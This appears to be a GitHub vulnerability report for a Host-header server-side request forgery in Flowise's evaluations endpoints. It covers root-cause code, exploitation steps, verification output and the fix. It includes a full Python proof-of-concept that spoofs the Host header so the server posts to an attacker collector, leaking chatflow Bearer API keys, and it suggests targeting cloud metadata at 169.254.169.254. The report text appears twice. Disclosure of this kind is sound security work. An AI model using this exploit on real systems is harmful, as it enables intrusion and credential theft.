Describe the bug
Server-Side Request Forgery via Host Header in Flowise Evaluations
Summary
The Flowise evaluations feature constructs the base URL for its outbound prediction requests directly from client-controlled HTTP request headers (Host and X-Forwarded-Proto). This value flows unvalidated into an axios.post() call inside EvaluationRunner, allowing an authenticated user to coerce the server into issuing HTTP POST requests to an arbitrary host of their choosing. When the evaluated chatflow has an API key configured, that key is transmitted in an Authorization: Bearer header to the attacker-chosen destination.
- Project: FlowiseAI/Flowise
- GitHub: https://github.com/FlowiseAI/Flowise
- Vulnerable source:
packages/server/src/controllers/evaluations/index.ts
- Sink:
packages/components/src/EvaluationRunner.ts
- Endpoints:
POST /api/v1/evaluations, POST /api/v1/evaluations/run-again/:id
- CWE: CWE-918 (Server-Side Request Forgery)
Affected Versions
|
|
| First affected release |
flowise@3.0.1 (evaluations feature introduced already vulnerable) |
| Last affected release |
flowise@3.1.2 |
| Affected range |
>= 3.0.1, <= 3.1.2 |
| Fixed in |
flowise@3.1.3 (commit 70013773, PR #5738) |
| Edition constraint |
Reachable only on Enterprise / Cloud editions where the feat:evaluations feature is enabled. The open-source edition returns HTTP 403 at the checkFeatureByPlan('feat:evaluations') gate and is not affected. |
Verification of the boundary (per-tag source inspection):
flowise@3.0.0 : evaluations feature does not exist (not affected)
flowise@3.0.1 : baseURL = `${httpProtocol}://${req.get('host')}` (first affected)
flowise@3.1.2 : baseURL = `${httpProtocol}://${req.get('host')}` (last affected)
flowise@3.1.3 : baseURL = `${process.env.APP_URL}` (fixed)
flowise@3.1.4 : baseURL = `${process.env.APP_URL}` (fixed)
Impact
- SSRF to arbitrary hosts. The attacker fully controls both the scheme (
X-Forwarded-Proto) and the host/port (Host) of the outbound request. This includes internal-only services and cloud metadata endpoints (e.g. http://169.254.169.254/). Note: this evaluations code path does not pass through the httpSecurity deny-list used elsewhere in the codebase, so there is no IP allow/deny filtering on the destination.
- Credential exfiltration.
EvaluationRunner.evaluateChatflow attaches Authorization: Bearer <chatflow API key> to the request. If the evaluated chatflow has an API key, that secret is sent to the attacker-controlled host.
- Response ingestion. The attacker's HTTP response is parsed and stored as the evaluation result (
actualOutput), enabling a blind-to-full-response SSRF and giving the attacker a channel to read internal service responses back through the evaluation UI.
CVSS 3.1
Score: 6.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
| Metric |
Value |
Justification |
| Attack Vector (AV) |
Network |
Exploited over HTTP. |
| Attack Complexity (AC) |
Low |
Single crafted Host header; no race or special conditions. |
| Privileges Required (PR) |
Low |
Requires an authenticated account with the evaluations:create (or evaluations:run) permission on an Enterprise/Cloud instance. |
| User Interaction (UI) |
None |
No victim interaction required. |
| Scope (S) |
Unchanged |
The server making the forged request is the vulnerable component. |
| Confidentiality (C) |
Low |
Exfiltration of chatflow API key and reading of internal service responses. |
| Integrity (I) |
Low |
Forged requests to internal services may cause state changes. |
| Availability (A) |
None |
No direct availability impact. |
Exploitation Requirements
- An Enterprise or Cloud Flowise deployment with
feat:evaluations enabled (the open-source edition blocks the endpoint at the feature gate).
- An authenticated account with the
evaluations:create or evaluations:run permission.
- The ability to reach the target host and set an HTTP
Host header (any HTTP client suffices).
Root Cause
packages/server/src/controllers/evaluations/index.ts derives baseURL from request headers with no validation:
const httpProtocol = req.get('x-forwarded-proto') || req.get('X-Forwarded-Proto') || req.protocol
const baseURL = `${httpProtocol}://${req.get('host')}`
const apiResponse = await evaluationsService.runAgain(req.params.id, baseURL, orgId, workspaceId)
baseURL is passed through evaluationsService into new EvaluationRunner(baseURL) unchanged, and the runner concatenates it directly into the request URL.
SINK
packages/components/src/EvaluationRunner.ts — evaluateChatflow (the Authorization header carries the chatflow API key):
const headers: any = { 'X-Request-ID': uuid, 'X-Flowise-Evaluation': 'true' }
if (apiKey) {
headers['Authorization'] = `Bearer ${apiKey}`
}
let axiosConfig = { headers: headers }
...
let response = await axios.post(`${this.baseURL}/api/v1/prediction/${chatflowId}`, postData, axiosConfig)
this.baseURL is the attacker-controlled value; nothing between assignment and use validates it:
constructor(baseURL: string) {
this.baseURL = baseURL
}
SOURCE
packages/server/src/controllers/evaluations/index.ts — runAgain (the createEvaluation handler is identical):
const runAgain = async (req: Request, res: Response, next: NextFunction) => {
...
const httpProtocol = req.get('x-forwarded-proto') || req.get('X-Forwarded-Proto') || req.protocol
const baseURL = `${httpProtocol}://${req.get('host')}`
const apiResponse = await evaluationsService.runAgain(req.params.id, baseURL, orgId, workspaceId)
return res.json(apiResponse)
}
Call Stack
POST /api/v1/evaluations (or /api/v1/evaluations/run-again/:id)
│
├─ routes/index.ts
│ router.use('/evaluations', IdentityManager.checkFeatureByPlan('feat:evaluations'), evaluationsRouter)
│ └─ gate passes on Enterprise/Cloud; returns 403 on open-source
│
├─ controllers/evaluations/index.ts : createEvaluation / runAgain [SOURCE]
│ const baseURL = `${httpProtocol}://${req.get('host')}` <-- attacker Host header
│
├─ services/evaluations/index.ts : createEvaluation
│ const evalRunner = new EvaluationRunner(baseURL) (baseURL unvalidated)
│
├─ components EvaluationRunner.runEvaluations → evaluateChatflow
│ axios.post(`${this.baseURL}/api/v1/prediction/${chatflowId}`, postData, { [SINK]
│ headers: { Authorization: `Bearer ${apiKey}`, ... } <-- key leak
│ })
│
└─ outbound HTTP POST to attacker-controlled host
Exploitation Steps
- Authenticate to the target Enterprise/Cloud Flowise instance (account with
evaluations:create).
- Create (or identify) a chatflow and a dataset containing at least one row.
- Send
POST /api/v1/evaluations (or run-again) with an HTTP Host header pointing at the attacker's host, e.g. Host: 169.254.169.254 or Host: internal-service.local:8080.
- Flowise starts the evaluation and issues
POST http://<attacker-host>/api/v1/prediction/<chatflowId> — including the chatflow's Authorization: Bearer header if one is set. The attacker's HTTP response is stored as the evaluation output.
Proof of Concept
Standalone Python PoC: poc_flowise_eval_ssrf.py
python3 poc_flowise_eval_ssrf.py \
--target http://VICTIM:3000 \
--email you@example.com --password 'yourpass' \
--collector 127.0.0.1:4455 --serve-collector
Exit code 0 = SSRF confirmed (collector received the coerced request), 1 = not confirmed.
Verification performed (dynamic, full production chain)
The PoC was executed against a real, unmodified flowise@3.1.2 server installed from the official npm package and started via bin/run start. The instance was configured in Enterprise mode (the tier where feat:evaluations is enabled) using a mock license endpoint — no application code on the vulnerable data-flow was modified. The full stack ran: real Express middleware, JWT authentication, the checkFeatureByPlan feature gate, the evaluations service, and the shipped EvaluationRunner.
[*] built-in collector on 127.0.0.1:4455
[*] logging in
[+] authenticated; feat:evaluations enabled
[*] creating chatflow
[*] creating dataset + row
[*] starting evaluation with spoofed Host: 127.0.0.1:4455
[*] evaluation POST returned HTTP 200
[+] SSRF CONFIRMED - collector received 1 request(s):
{"path": "/api/v1/prediction/c6da88fb-5a2e-4eec-9c59-94a71e7a23c0",
"authorization": null, "x_flowise_evaluation": "true",
"body": "{\"question\":\"ssrf-probe\",\"evaluationRunId\":\"...\",\"evaluation\":true}"}
The server, driven only by the attacker's Host: 127.0.0.1:4455 header, sent a POST /api/v1/prediction/... to the attacker-controlled collector. (authorization is null here only because the test chatflow had no API key configured; a component-level run against the same shipped EvaluationRunner with a keyed chatflow confirmed the Authorization: Bearer <apiKey> header is transmitted to the attacker host.)
Negative controls
- Open-source edition: the same authenticated request to
/api/v1/evaluations/run-again/:id returns HTTP 403 ({"message":"Forbidden"}) at the checkFeatureByPlan('feat:evaluations') gate. A non-gated endpoint (/api/v1/chatflows) returns 200 for the same session, confirming the 403 is the feature gate, not an auth failure.
- Fixed edition (3.1.4):
baseURL is sourced from process.env.APP_URL; the Host header has no influence on the outbound destination, so the PoC yields "not confirmed."
Remediation
Upgrade to Flowise 3.1.3 or later. The fix (commit 70013773) replaces the header-derived base URL with a server-configured value:
- const httpProtocol = req.get('x-forwarded-proto') || req.get('X-Forwarded-Proto') || req.protocol
- const baseURL = `${httpProtocol}://${req.get('host')}`
+ const baseURL = `${process.env.APP_URL}`
For defense in depth, outbound evaluation requests should additionally be routed through the existing httpSecurity deny-list (checkDenyList / secureFetch) that already protects other outbound-fetch features in the codebase.
To Reproduce
#!/usr/bin/env python3
"""
PoC - Server-Side Request Forgery via Host header in Flowise evaluations
Affected: FlowiseAI/Flowise >= 3.0.1, <= 3.1.2 (Enterprise / Cloud editions,
where the `feat:evaluations` feature is enabled)
Fixed in: 3.1.3 (commit 70013773, PR #5738)
Root cause
----------
The evaluations controller builds the base URL used for outbound prediction
requests directly from client-controlled request headers:
const httpProtocol = req.get('x-forwarded-proto') || req.get('X-Forwarded-Proto') || req.protocol
const baseURL = `${httpProtocol}://${req.get('host')}`
`baseURL` flows unvalidated into EvaluationRunner.evaluateChatflow, which issues:
axios.post(`${this.baseURL}/api/v1/prediction/${chatflowId}`, postData, { headers })
By setting the HTTP Host header (and optionally X-Forwarded-Proto), an
authenticated user coerces the server into sending a POST — including the
chatflow's `Authorization: Bearer <apiKey>` header when one is configured — to
an arbitrary attacker-chosen host (e.g. cloud metadata at 169.254.169.254).
This PoC drives the full HTTP chain against a running instance: it authenticates,
creates a chatflow + dataset, then starts an evaluation with a spoofed Host
header, and confirms the server contacted the attacker's collector.
Usage
-----
# Terminal 1: attacker collector (any host that logs inbound requests)
# the script can also run its own collector with --serve-collector
python3 poc_flowise_eval_ssrf.py \
--target http://VICTIM:3000 \
--email you@example.com --password 'yourpass' \
--collector 127.0.0.1:4444 --serve-collector
Exit code 0 = SSRF confirmed (collector received the request), 1 = not confirmed.
"""
import argparse
import json
import sys
import threading
import time
import urllib.request
import urllib.error
from http.server import BaseHTTPRequestHandler, HTTPServer
_HITS = []
class _Collector(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get('Content-Length', 0) or 0)
body = self.rfile.read(length).decode('utf-8', 'replace') if length else ''
_HITS.append({
'path': self.path,
'authorization': self.headers.get('Authorization'),
'x_flowise_evaluation': self.headers.get('X-Flowise-Evaluation'),
'body': body[:200],
})
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(b'{"text":"pwned"}')
def do_GET(self):
self.do_POST()
def log_message(self, *a):
pass
def start_collector(host, port):
srv = HTTPServer((host, port), _Collector)
threading.Thread(target=srv.serve_forever, daemon=True).start()
return srv
class Client:
def __init__(self, base):
self.base = base.rstrip('/')
self.cookies = {}
def _req(self, method, path, body=None, host=None):
url = self.base + path
data = json.dumps(body).encode() if body is not None else None
req = urllib.request.Request(url, data=data, method=method)
req.add_header('Content-Type', 'application/json')
req.add_header('x-request-from', 'internal') # UI-style auth path
if self.cookies:
req.add_header('Cookie', '; '.join(f'{k}={v}' for k, v in self.cookies.items()))
if host:
req.add_header('Host', host) # <-- the SSRF primitive
try:
resp = urllib.request.urlopen(req, timeout=20)
raw = resp.read().decode('utf-8', 'replace')
self._store_cookies(resp)
return resp.status, raw
except urllib.error.HTTPError as e:
self._store_cookies(e)
return e.code, e.read().decode('utf-8', 'replace')
def _store_cookies(self, resp):
for h in resp.headers.get_all('Set-Cookie') or []:
kv = h.split(';', 1)[0]
if '=' in kv:
k, v = kv.split('=', 1)
self.cookies[k.strip()] = v.strip()
def main():
ap = argparse.ArgumentParser()
ap.add_argument('--target', required=True, help='http://host:port of Flowise')
ap.add_argument('--email', required=True)
ap.add_argument('--password', required=True)
ap.add_argument('--collector', default='127.0.0.1:4444', help='host:port the SSRF should hit')
ap.add_argument('--serve-collector', action='store_true', help='run a built-in collector')
args = ap.parse_args()
if args.serve_collector:
chost, cport = args.collector.split(':')
start_collector(chost, int(cport))
print(f'[*] built-in collector on {args.collector}')
c = Client(args.target)
print('[*] logging in')
st, body = c._req('POST', '/api/v1/auth/login',
{'email': args.email, 'password': args.password})
if st != 200:
print(f'[!] login failed HTTP {st}: {body[:200]}')
return 1
user = json.loads(body)
feats = user.get('features') or {}
if feats.get('feat:evaluations') != 'true':
print('[!] account lacks feat:evaluations (open-source edition?) - endpoint gated, not exploitable')
return 1
print('[+] authenticated; feat:evaluations enabled')
print('[*] creating chatflow')
st, body = c._req('POST', '/api/v1/chatflows',
{'name': 'poc', 'flowData': '{"nodes":[],"edges":[]}', 'type': 'CHATFLOW'})
cfid = json.loads(body)['id']
print('[*] creating dataset + row')
st, body = c._req('POST', '/api/v1/datasets/set', {'name': 'pocds', 'description': 'x'})
dsid = json.loads(body)['id']
c._req('POST', '/api/v1/datasets/rows',
{'datasetId': dsid, 'input': 'ssrf-probe', 'output': 'x'})
print(f'[*] starting evaluation with spoofed Host: {args.collector}')
payload = {
'name': 'ssrf-eval',
'chatflowId': json.dumps([cfid]),
'chatflowName': json.dumps(['poc']),
'datasetId': dsid,
'datasetName': 'pocds',
'evaluationType': 'benchmarking',
'selectedSimpleEvaluators': '[]',
'chatflowType': '[]',
}
st, body = c._req('POST', '/api/v1/evaluations', payload, host=args.collector)
print(f'[*] evaluation POST returned HTTP {st}')
# give the async run a moment to fire the outbound request
time.sleep(2)
if _HITS:
print(f'\n[+] SSRF CONFIRMED - collector received {len(_HITS)} request(s):')
for h in _HITS:
print(' ' + json.dumps(h))
return 0
print('\n[-] NOT CONFIRMED - collector received nothing '
'(check network reachability from target to collector)')
return 1
if __name__ == '__main__':
sys.exit(main())
Expected behavior
1
Screenshots
No response
Flow
No response
Use Method
None
Flowise Version
No response
Operating System
None
Browser
None
Additional context
No response
Describe the bug
Server-Side Request Forgery via Host Header in Flowise Evaluations
Summary
The Flowise evaluations feature constructs the base URL for its outbound prediction requests directly from client-controlled HTTP request headers (
HostandX-Forwarded-Proto). This value flows unvalidated into anaxios.post()call insideEvaluationRunner, allowing an authenticated user to coerce the server into issuing HTTP POST requests to an arbitrary host of their choosing. When the evaluated chatflow has an API key configured, that key is transmitted in anAuthorization: Bearerheader to the attacker-chosen destination.packages/server/src/controllers/evaluations/index.tspackages/components/src/EvaluationRunner.tsPOST /api/v1/evaluations,POST /api/v1/evaluations/run-again/:idAffected Versions
flowise@3.0.1(evaluations feature introduced already vulnerable)flowise@3.1.2>= 3.0.1, <= 3.1.2flowise@3.1.3(commit70013773, PR #5738)feat:evaluationsfeature is enabled. The open-source edition returns HTTP 403 at thecheckFeatureByPlan('feat:evaluations')gate and is not affected.Verification of the boundary (per-tag source inspection):
Impact
X-Forwarded-Proto) and the host/port (Host) of the outbound request. This includes internal-only services and cloud metadata endpoints (e.g.http://169.254.169.254/). Note: this evaluations code path does not pass through thehttpSecuritydeny-list used elsewhere in the codebase, so there is no IP allow/deny filtering on the destination.EvaluationRunner.evaluateChatflowattachesAuthorization: Bearer <chatflow API key>to the request. If the evaluated chatflow has an API key, that secret is sent to the attacker-controlled host.actualOutput), enabling a blind-to-full-response SSRF and giving the attacker a channel to read internal service responses back through the evaluation UI.CVSS 3.1
Score: 6.4 (Medium)
Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:NHostheader; no race or special conditions.evaluations:create(orevaluations:run) permission on an Enterprise/Cloud instance.Exploitation Requirements
feat:evaluationsenabled (the open-source edition blocks the endpoint at the feature gate).evaluations:createorevaluations:runpermission.Hostheader (any HTTP client suffices).Root Cause
packages/server/src/controllers/evaluations/index.tsderivesbaseURLfrom request headers with no validation:baseURLis passed throughevaluationsServiceintonew EvaluationRunner(baseURL)unchanged, and the runner concatenates it directly into the request URL.SINK
packages/components/src/EvaluationRunner.ts—evaluateChatflow(theAuthorizationheader carries the chatflow API key):this.baseURLis the attacker-controlled value; nothing between assignment and use validates it:SOURCE
packages/server/src/controllers/evaluations/index.ts—runAgain(thecreateEvaluationhandler is identical):Call Stack
Exploitation Steps
evaluations:create).POST /api/v1/evaluations(orrun-again) with an HTTPHostheader pointing at the attacker's host, e.g.Host: 169.254.169.254orHost: internal-service.local:8080.POST http://<attacker-host>/api/v1/prediction/<chatflowId>— including the chatflow'sAuthorization: Bearerheader if one is set. The attacker's HTTP response is stored as the evaluation output.Proof of Concept
Standalone Python PoC:
poc_flowise_eval_ssrf.pyExit code
0= SSRF confirmed (collector received the coerced request),1= not confirmed.Verification performed (dynamic, full production chain)
The PoC was executed against a real, unmodified
flowise@3.1.2server installed from the official npm package and started viabin/run start. The instance was configured in Enterprise mode (the tier wherefeat:evaluationsis enabled) using a mock license endpoint — no application code on the vulnerable data-flow was modified. The full stack ran: real Express middleware, JWT authentication, thecheckFeatureByPlanfeature gate, the evaluations service, and the shippedEvaluationRunner.The server, driven only by the attacker's
Host: 127.0.0.1:4455header, sent aPOST /api/v1/prediction/...to the attacker-controlled collector. (authorizationisnullhere only because the test chatflow had no API key configured; a component-level run against the same shippedEvaluationRunnerwith a keyed chatflow confirmed theAuthorization: Bearer <apiKey>header is transmitted to the attacker host.)Negative controls
/api/v1/evaluations/run-again/:idreturns HTTP 403 ({"message":"Forbidden"}) at thecheckFeatureByPlan('feat:evaluations')gate. A non-gated endpoint (/api/v1/chatflows) returns 200 for the same session, confirming the 403 is the feature gate, not an auth failure.baseURLis sourced fromprocess.env.APP_URL; theHostheader has no influence on the outbound destination, so the PoC yields "not confirmed."Remediation
Upgrade to Flowise 3.1.3 or later. The fix (commit
70013773) replaces the header-derived base URL with a server-configured value:For defense in depth, outbound evaluation requests should additionally be routed through the existing
httpSecuritydeny-list (checkDenyList/secureFetch) that already protects other outbound-fetch features in the codebase.To Reproduce
Expected behavior
1
Screenshots
No response
Flow
No response
Use Method
None
Flowise Version
No response
Operating System
None
Browser
None
Additional context
No response